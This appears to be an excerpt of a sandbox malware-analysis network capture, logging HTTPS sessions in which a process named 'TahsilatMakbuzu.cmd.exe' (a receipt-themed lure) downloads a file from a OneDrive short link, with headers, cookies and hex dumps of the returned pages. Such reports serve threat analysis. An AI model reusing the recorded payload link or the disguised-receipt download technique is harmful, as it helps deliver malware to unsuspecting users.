BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzc2LCJuYmYiOjE3MjAxMTY5NzYsImdpdmVuX25hbWUiOiI2MCIsImZhbWlseV9uYW1lIjoiRmluY2giLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI0ZjA1YWE5Njc3MmI3MTA4Mjc5YWJiNzFhMzA5YzU1MCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTc2fQ.eyrJmY3RnpNJCKkKLPC227iqynvSpI7xSWuslNUyekFcCMu1E0KvdcJUbRiHIiOXWQLFnVCXM0CZMjYyvdeRYq0yKWB8Rd7TFkUYEcsbqUuykKEqh2xbsYsY2e24zeWt0ljKAR5xO39yIGJ1JbfkldGr22Pk8nxdsNQX9YLnuAku3DdSDcn5xAvZKXRdaJOr8NYRPlGqiR-VwTk4aJ1wpyN0yybqfH-7Ze-QXIJ8zpDiQUsM5H7B9_FRy3oL8EcJqQiyLSFE6nqIN2qo-SHHGWLnRO147m_MTs3Mes3l0TSURqJP5Rfow2zsnvK_P8JebBtm4EOGpCcoZ5kHItXYGA; E=P:Bf9dZVWc3Ig=:A0xan4QkKxMo0K+15OZQ0e5c561uaoR5O3CZSE66gW8=:F; xid=d4f90ade-cd5c-4ba7-bd50-f524e99e4b [TRUNCATED]
2024-07-04 18:16:18 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,21596,0,48908,4 X-SharePointHealthScore: 1 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 2f1239a1-3093-5000-d26e-2c10c75d726c request-id: 2f1239a1-3093-5000-d26e-2c10c75d726c MS-CV: oTkSL5MwAFDSbiwQx11ybA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 26 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7BC8468533774EBAAE35937FF89A087A Ref B: BN3EDGE0714 Ref C: 2024-07-04T18:16:17Z Date: Thu, 04 Jul 2024 18:16:17 GMT Connection: close
2024-07-04 18:16:18 UTC	3199	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:18 UTC	8192	IN	Data Raw: 2d 31 30 35 35 35 35 32 38 39 36 2c 39 39 38 35 30 38 36 35 33 2c 2d 39 33 39 34 39 38 39 34 34 2c 32 36 31 31 33 36 34 33 38 2c 36 35 35 36 32 32 33 30 37 2c 2d 31 39 35 36 36 34 32 37 30 30 2c 36 30 34 35 34 30 39 33 30 2c 38 37 34 39 30 38 32 2c 2d 39 37 34 31 32 36 35 32 34 2c 33 30 35 32 37 35 30 39 32 2c 38 37 32 34 31 35 32 33 36 2c 31 31 34 30 38 35 34 38 35 37 2c 31 34 33 34 38 38 2c 2d 32 31 34 37 34 31 35 30 34 30 2c 33 39 33 32 31 37 2c 31 37 33 30 31 35 30 34 5d 2c 22 45 43 53 45 78 70 46 65 61 74 75 72 65 73 22 3a 5b 22 4f 72 67 41 73 73 65 74 73 49 6e 42 43 50 61 67 65 43 6f 6e 74 65 78 74 22 2c 22 53 50 4f 43 6c 69 65 6e 74 43 61 6e 61 72 79 46 6c 69 67 68 74 22 5d 2c 22 6b 69 6c 6c 53 77 69 74 63 68 65 73 22 3a 7b 22 35 43 30 41 38 37 42 Data Ascii: -1055552896,998508653,-939498944,261136438,655622307,-1956642700,604540930,8749082,-974126524,305275092,872415236,1140854857,143488,-2147415040,393217,17301504],"ECSExpFeatures":["OrgAssetsInBCPageContext","SPOClientCanaryFlight"],"killSwitches":{"5C0A87B
2024-07-04 18:16:18 UTC	3188	IN	Data Raw: 38 39 39 32 34 38 42 38 46 34 46 39 22 3a 74 72 75 65 2c 22 41 34 38 32 39 31 42 43 2d 37 44 46 39 2d 34 34 32 39 2d 38 38 45 30 2d 30 38 44 30 31 42 43 37 42 45 34 38 22 3a 74 72 75 65 2c 22 37 39 30 34 33 34 37 37 2d 36 31 38 35 2d 34 41 45 32 2d 42 34 35 46 2d 44 30 38 41 41 36 39 33 35 39 42 37 22 3a 74 72 75 65 2c 22 44 31 38 46 37 42 39 36 2d 33 46 31 41 2d 34 34 34 31 2d 38 43 37 35 2d 35 45 43 38 34 45 45 30 36 32 45 30 22 3a 74 72 75 65 2c 22 35 43 42 32 38 41 45 43 2d 44 34 36 30 2d 34 34 34 36 2d 42 35 43 33 2d 45 45 37 41 30 34 41 36 35 44 39 35 22 3a 74 72 75 65 2c 22 30 35 33 41 31 46 31 39 2d 30 31 46 43 2d 34 36 32 46 2d 41 43 30 37 2d 35 46 31 41 41 46 36 43 45 39 34 31 22 3a 74 72 75 65 2c 22 42 37 39 36 34 36 30 44 2d 38 45 38 35 2d 34 Data Ascii: 899248B8F4F9":true,"A48291BC-7DF9-4429-88E0-08D01BC7BE48":true,"79043477-6185-4AE2-B45F-D08AA69359B7":true,"D18F7B96-3F1A-4441-8C75-5EC84EE062E0":true,"5CB28AEC-D460-4446-B5C3-EE7A04A65D95":true,"053A1F19-01FC-462F-AC07-5F1AAF6CE941":true,"B796460D-8E85-4
2024-07-04 18:16:18 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:16:18 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:16:18 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:16:18 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:16:18 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:16:18 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
2024-07-04 18:16:18 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49741	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:18 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:19 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL6PPF701338D32 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: 0gP5grulNkq4/jQc6FkX4A.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 829A519B9B62411D96B43713BD96C08D Ref B: EWR311000101047 Ref C: 2024-07-04T18:16:19Z Date: Thu, 04 Jul 2024 18:16:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49742	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:19 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:21 UTC	2216	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:ykBBZ1Wc3Ig=:6Lh6MZ1GrqAwa934BIoKjvKBex9i0nS5Cje99Nx34tc=:F; domain=.live.com; path=/ Set-Cookie: xid=78918723-f402-4bd7-a49f-cee669becd5d&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:19 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzc5LCJuYmYiOjE3MjAxMTY5NzksImdpdmVuX25hbWUiOiIzNyIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNDE1OTQ0ZDI2YjFjYzg1NjExNmY3MDI1ZWI2OTY5YTUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk3OX0.DRVBml3jzN7MlV-WvHw9CK5hQbb7QnHGLoBkmSv46VgorP8OQqDbf7VwEzUS0aHNeymyblNrl52I1O6hmS86-XzSqa5Gf5jkpYjjhYnDIMLatcC77YDbNXunVg8MX4Yp47kt-UxBo4ZZm6zsdkGCpKl3p9k1JOCgqdL2R-3YhHLZ0RdwJ9KNCrXkrsXKy0KVfq0o7BNdhMAkJb6inch_7vUrMdpxy4Rm90qrqxNfMVtUYNn1teqsiscwKSPKPc2pOo86alQEUdHz8ebtZ68plsr7Ar6albtcpBNZzHVfIcJsEbupBDXUg6Qju7jcKL6B98KQuZ6uxp6hLYTusDt27w; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:21 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-mp8l8 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: FDBA4EDC60BD41398FBBB30204B524DE Ref B: BN3EDGE1119 Ref C: 2024-07-04T18:16:19Z Date: Thu, 04 Jul 2024 18:16:20 GMT Connection: close
2024-07-04 18:16:21 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49744	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:22 UTC	1284	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzc5LCJuYmYiOjE3MjAxMTY5NzksImdpdmVuX25hbWUiOiIzNyIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNDE1OTQ0ZDI2YjFjYzg1NjExNmY3MDI1ZWI2OTY5YTUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk3OX0.DRVBml3jzN7MlV-WvHw9CK5hQbb7QnHGLoBkmSv46VgorP8OQqDbf7VwEzUS0aHNeymyblNrl52I1O6hmS86-XzSqa5Gf5jkpYjjhYnDIMLatcC77YDbNXunVg8MX4Yp47kt-UxBo4ZZm6zsdkGCpKl3p9k1JOCgqdL2R-3YhHLZ0RdwJ9KNCrXkrsXKy0KVfq0o7BNdhMAkJb6inch_7vUrMdpxy4Rm90qrqxNfMVtUYNn1teqsiscwKSPKPc2pOo86alQEUdHz8ebtZ68plsr7Ar6albtcpBNZzHVfIcJsEbupBDXUg6Qju7jcKL6B98KQuZ6uxp6hLYTusDt27w; E=P:ykBBZ1Wc3Ig=:6Lh6MZ1GrqAwa934BIoKjvKBex9i0nS5Cje99Nx34tc=:F; xid=78918723-f402-4bd7-a49f-cee669becd5d& [TRUNCATED]
2024-07-04 18:16:22 UTC	1925	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,38101,0,141798,30 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 301239a1-b09f-5000-c21d-f658549e61f3 request-id: 301239a1-b09f-5000-c21d-f658549e61f3 MS-CV: oTkSMJ+wAFDCHfZYVJ5h8w.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft 